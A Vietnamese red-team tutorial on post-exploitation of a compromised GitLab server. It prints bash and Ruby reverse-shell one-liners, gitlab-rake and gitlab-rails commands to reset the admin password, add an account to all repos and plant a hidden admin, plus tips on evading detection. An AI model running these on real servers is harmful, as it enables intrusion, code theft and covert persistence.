Redteam 0x01: Làm gì khi đã chiếm được quyền điều khiển hệ thống? Phần 1 - Source code management

Mỗi khi tìm được một lỗ hổng bảo mật, nhiệm vụ của Pentester thường là sẽ report lỗi cho đội Developer để tìm cách fix lỗ hổng đó. Tuy nhiên, với những kẻ tấn công có chủ đích hoặc đội Redteam, việc phát hiện lỗ hổng dù là RCE không có ý nghĩa nếu như nó không mang lại kết quả gì sau đó, như lấy được data quan trọng, đi sâu hơn vào hệ thống, làm bàn đạp để tấn công server ngang hàng, v.v...

Trong series "Làm gì khi đã chiếm được quyền điều khiển hệ thống", mình sẽ trình bày về những cách thức một attacker có thể sử dụng hệ thống đã bị kiểm soát để đạt được mục đích cuối cùng.

Trong phần 1, ta sẽ tìm hiểu về những điều có thể làm khi đã chiếm được server quản lý source code như gitlab, bitbucket, ... gọi chung là Source code management (SCM). Với ví dụ cụ thể mình sẽ trình bày liên quan đến Gitlab - hệ thống self-hosted mã nguồn mở dựa trên hệ thống máy chủ Git dùng để quản lý mã nguồn.

Điều chúng ta thường làm khi đã RCE được hệ thống SCM chính là lấy ra toàn bộ mã nguồn để phục vụ quá trình audit code. Với một trường hợp cụ thể của mình, mình đã RCE được một hệ thống gitlab bằng 2 CVE: CVE-2022-2185CVE-2022-2992. Chi tiết hơn thì các bạn có thể đọc những bài phân tích về 2 CVE này trên mạng, mình xin không đi sâu. Điều mình muốn nói là quá trình sau đó.

Đầu tiên mình sử dụng CVE-2022-2185, CVE này liên quan đến tính năng import group, với kết quả là mỗi lần thực thi lệnh phải chờ nó 5 phút thì nó mới chạy, do vậy mỗi lần muốn thực thi 1 command nào đó, mình phải chờ đợi trong vô vọng rất lâu. Còn CVE-2022-2992 liên quan đến việc import 1 project từ github, việc này cũng gây ra những rủi ro khi mỗi lần chạy thì 1 project mới được tạo trong 1 group, dẫn đến rác trên server, admin hoàn toàn có thể nhận ra rằng đang có người lạm dụng tính năng này và có thể sẽ yêu cầu mình dừng lại - cũng là dừng quá trình redteam (server cài đặt người dùng thường khi xóa sẽ đặt lịch 1 tuần sau mới xóa hẳn thay vì xóa ngay lập tức).

Vì vậy, điều cần ghi nhớ đó là phải thử thật hoàn thiện trên local rồi mới thực hiện nó ở trên server.

Các câu lệnh RCE trên server docker mình tự dựng để thực hiện back connect khá hiệu quả, mình xin list ra một số command:

bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' (do Gitlab build bằng ruby do vậy chắc chắn trên server sẽ có ruby)

Lúc này ta sẽ có một reverse shell để dễ dàng cho quá trình kiểm soát server. Nhưng trên server thật sẽ không có outbound connection nên dù thực hiện RCE cũng chỉ là Blind RCE. Do vậy phải có một cách khác để thực hiện lấy được source code.

Nói qua về các quyền trong Gitlab: Owner là người sở hữu gilab, tương đương admin, có thể quản lý toàn bộ các repo và user khác; Maintainer của 1 repo chỉ có quyền quản lý repo đó; Developer chỉ có quyền thực hiện liên quan đến source code, không được quản lý về repo như xóa, CI/CD, ...; các user thấp hơn thì không cần quan tâm tới.

Một cách khác hiện lên trong đầu mình, đó là cố gắng lấy được một user có quyền admin. Trong gitlab server, để connect với database, ta sẽ sử dụng command gitlab-psql (gitlab chỉ sử dụng Postgresql). Đây là một ví dụ về sử dụng gitlab-psql để select toàn bộ user.

image.png

Ý tưởng đến một cách hiển nhiên: Chuyển user của mình từ admin = 'f' thành admin = 't'

UPDATE users SET admin='t' WHERE username='realalphaman'

Việc này hoạt động hiệu quả khi gõ shell trực tiếp, nhưng không hiệu quả khi chạy thông qua CVE. Và mình phát hiện ra khi mình chạy shell (bằng docker exec -it /bin/bash) thì mình đang chạy dưới quyền root, trong khi user dùng để chạy gitlab là git, user này không có quyền chạy gitlab-psql. Mình tự hỏi nếu như thế thì làm thế nào để nó có thể thực hiện truy vấn database?

Hóa ra gitlab sử dụng 2 công cụ là gitlab-rakegitlab-rails như những trình bao để connect vào database. Như vậy ta sẽ có 1 số cách thức sau để thực hiện chiếm quyền Admin:

1. Reset password của admin

Gitlab có một câu lệnh để reset password của một user name cụ thể: gitlab-rake "gitlab:password:reset[<username>]", sau đó shell sẽ yêu cầu ta nhập username và password

image.png

Một vấn đề khác phải đối mặt đó là ta thực thi qua CVE, không có một reverse shell, có nghĩa là một yêu cầu nhập thứ 2 sau khi chạy command sẽ không thể thực hiện được. Nên nếu chạy command kia mà không nhập password thì cũng không thực hiện thành công thay đổi pass. Mình tìm được giải pháp để chỉ cần chạy 1 lệnh là sẽ nhập luôn password cho yêu cầu nhập đằng sau:

printf "Password\nPassword\n" | gitlab-rake "gitlab:password:reset[<username>]"

image.png

Gitlab có một API cho phép chúng ta xem danh sách các user, tại đường dẫn <url>/api/v4/users

image.png

Với điều kiện là ta cần biết username của tài khoản admin, trong đó Gitlab có một user admin mặc định là root ít khi được thay đổi.

Tuy nhiên, với cách này rất có thể sẽ bị lộ nếu như admin đó được đăng nhập bởi admin thật và nhanh chóng nhận ra tài khoản của mình đã bị thay đổi pass.

2. Thêm tài khoản của mình vào toàn bộ repo

Trong gitlab, ta có thể sử dụng gitlab-rake để thêm tài khoản của mình vào toàn bộ repo với quyền Developer.

gitlab-rake gitlab:import:user_to_projects[user@gmail.com]

Theo cách này ta sẽ có thể access vào toàn bộ repo, và cũng khá khó bị lộ do danh sách người được add vào repo sẽ không hiện trực tiếp lên giao diện khi truy cập code, mà thường chỉ bị phát hiện khi Mantainer muốn thêm dev mới vào repo, lúc đó cũng là lúc ta đã clone được toàn bộ source code và rút lui không để lại dấu vết gì.

Nhưng cách này vẫn có một điểm yếu, đó là với vai trò Developer ta không truy cập được các Variables trong phần setup CI/CD, mà thường đây là những thông tin giá trị nhất, cho ta biết username, password, secret key,... của hệ thống đó, giúp dễ dàng hơn trong việc pwn chúng. (Chi tiết về các quyền xin tham khảo tại https://docs.gitlab.com/ee/user/permissions.html ).

3. Tạo ra một tài khoản mới với quyền admin

Có một cách an toàn hơn là tạo ra 1 tài khoản admin sử dụng gitlab-rails. Câu lệnh của gitlab-rails bash là gitlab-rails console

image.png

Để tạo một user, ta sử dụng 2 command như sau:

user = User.new(email: 'newadmin@example.com', password: 'password', name: 'New Admin User', username: 'hehe', admin: true, skip_confirmation: true)

user.save!

image.png

Lúc này trong danh sách admin đã xuất hiện tài khoản newadmin@example.com

image.png

Và như thế, payload cuối cùng sẽ là

printf "user = User.new(email: 'newadmin@example.com', password: 'password', name: 'New Admin User', username: 'hehe', admin: true, skip_confirmation: true)\nuser.save!\n" | gitlab-rails console

Với một email chung chung như admin@domain.com thì rất khó để admin thật có thể nhận ra một tài khoản bất thường, vì cũng không mấy khi admin truy cập vào vùng Admin trên hệ thống để xem.

Trong phần tiếp theo mình sẽ trình bày cách sử dụng một hệ thống đã bị kiểm soát để tấn công các hệ thống internal khác.

Tài liệu tham khảo:

https://docs.gitlab.com/ee/administration/operations/rails_console.html

https://docs.gitlab.com/ee/raketasks/user_management.html